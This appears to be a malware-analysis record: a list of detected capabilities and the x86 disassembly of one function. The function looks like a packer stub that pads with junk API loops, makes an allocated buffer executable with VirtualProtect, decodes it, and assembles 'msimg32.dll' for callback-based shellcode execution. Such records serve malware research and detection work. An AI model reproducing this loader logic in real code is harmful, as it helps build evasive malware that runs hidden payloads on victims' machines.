Function at 0x4a26c0
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get hostname
Manipulate console buffer
Move file
Query environment variable
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
mov eax, 0x2470
call fcn.0040de70
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_CharUpperBuffA]
xor esi, esi
cmp esi, 0x1e17e
jge 0x4a26f6
push 0
push 0
call edi
call ebx
cmp esi, 0x1e9b1db4
jle 0x4a2710
cmp ebp, 0xc10bd0
je 0x4a2710
cmp dword [esp + 0x58], 0x963c600
jne 0x4a2719
inc esi
cmp esi, 0x98f6e
jl 0x4a26e6
cmp dword [0x8426e0], 0xcf8
jne 0x4a2780
push 0
push 0
call dword [sym.imp.SHELL32.dll_DragAcceptFiles]
fldz
sub esp, 8
fstp qword [esp]
call fcn.00405140
fstp st(0)
fldz
fstp qword [esp]
call fcn.00405290
fstp st(0)
push 0
push 0
push 0
push 0x4bd9b0
call fcn.00404e08
push 0
call fcn.00405110
add esp, 0x1c
push 0
push 0
call fcn.00404b41
push 0
push 0
call fcn.00404b74
add esp, 0x10
push 0
call fcn.004050be
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
mov ebp, dword [sym.imp.KERNEL32.dll_FindVolumeClose]
xor esi, esi
cmp esi, 0x408
jne 0x4a27a7
mov eax, 0x5d1
add dword [0x8426e0], eax
cmp dword [0x8426e0], 3
jne 0x4a27c4
push 0
call edi
push 0
push 0
call ebx
lea eax, [esp + 0x80]
push eax
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x4a2794
mov ecx, dword [0x8426e0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x4c2744], eax
mov eax, dword [0x8426e0]
xor esi, esi
test eax, eax
je 0x4a2890
mov edi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
mov ebp, dword [sym.imp.KERNEL32.dll_FatalAppExitW]
cmp eax, 0xfe
jne 0x4a285f
push 0
call edi
call ebx
xor edx, edx
lea ecx, [esp + 0x14]
push ecx
push edx
push edx
lea eax, [esp + 0x8c]
push eax
push edx
mov dword [esp + 0x2c], edx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push 0x4045a8
push 0
call ebp
lea ecx, [esp + 0x2c]
xor eax, eax
push ecx
lea edx, [esp + 0x50]
push edx
push 0x4045e4
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
call fcn.004a22e0
mov eax, dword [0x8426e0]
cmp eax, 0x29
jne 0x4a2887
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
mov eax, dword [0x8426e0]
inc esi
cmp esi, eax
jb 0x4a2802
cmp eax, 0x70
jne 0x4a28e5
push 0
lea eax, [esp + 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x4045f4
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
mov esi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
call esi
call esi
lea ecx, [esp + 0x14]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edi, dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
mov ebp, dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
mov dword [esp + 0x14], 0x9682ab
cmp eax, 3
jne 0x4a291f
lea edx, [esp + 0x880]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [0x8426e0]
cmp eax, 0xdf
jne 0x4a2aa1
push 0
push 0
push 0
call ebp
push 0
call ebx
xor eax, eax
lea edx, [esp + 0x20]
push edx
push eax
push eax
lea ecx, [esp + 0xc8c]
push ecx
push eax
mov dword [esp + 0x2c], eax
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CommConfigDialogW]
push 0x404674
push 0x404694
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
push 0
push 0
push 0
call esi
mov edx, dword [esp + 0x20]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesW]
push 0
lea eax, [esp + 0x884]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x24]
push ecx
push 0
lea edx, [esp + 0x34]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
lea eax, [esp + 0x28]
push eax
push 0x4046a8
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push 0
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_HeapUnlock]
lea ecx, [esp + 0x40]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
lea edx, [esp + 0x1484]
push edx
push 0x4046d8
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0
lea eax, [esp + 0x1c84]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x84]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0x30
lea eax, [esp + 0x54]
push 0
push eax
mov dword [esp + 0x58], 0
call fcn.004070b0
add esp, 0xc
push 0
lea ecx, [esp + 0x50]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov eax, dword [0x8426e0]
dec dword [esp + 0x14]
jne 0x4a2905
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x9c3c674
lea esp, [esp]
push 0
call edi
push 0
call ebx
dec esi
jne 0x4a2ac0
mov eax, dword [0x8426e0]
mov ecx, dword [0x4c2744]
lea edx, [esp + 0x1c]
push edx
push 0x40
push eax
push ecx
mov byte [0x4bd9b0], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.004a2530
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
jmp 0x4a2b00
cmp dword [0x8426e0], 0xba
jne 0x4a2b19
lea edx, [esp + 0x1c]
push edx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x4a2b2c
mov eax, 0
add dword [0x4c2744], eax
inc esi
cmp esi, 0x1605a
jl 0x4a2b00
mov esi, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownA]
mov edi, 0xf2b8b
cmp dword [0x8426e0], 0x21
jne 0x4a2b4d
push 0
call esi
dec edi
jne 0x4a2b40
mov eax, 0x73
mov ecx, 0x6d
mov word [0x8416f2], ax
mov word [0x8416f6], cx
xor ecx, ecx
mov edx, 0x33
mov eax, 0x67
mov word [0x8416fa], dx
mov word [0x841706], cx
mov word [0x8416f8], ax
mov ecx, 0x69
mov edx, 0x6d
mov eax, 0x6c
push 0x8416f0
mov dword [0x841700], 0x6c0064
mov word [0x8416f4], cx
mov word [0x8416f0], dx
mov word [0x841704], ax
mov dword [0x8416fc], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x8426e0], 0xc30
jne 0x4a2c6a
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call dword [sym.imp.KERNEL32.dll_GetACP]
push edi
lea eax, [esp + 0x20]
push eax
push edi
lea ecx, [esp + 0x8c]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push edi
lea edx, [esp + 0x1c84]
push edx
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x30]
push ecx
lea edx, [esp + 0x30]
push edx
lea eax, [esp + 0x28]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_RaiseException]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret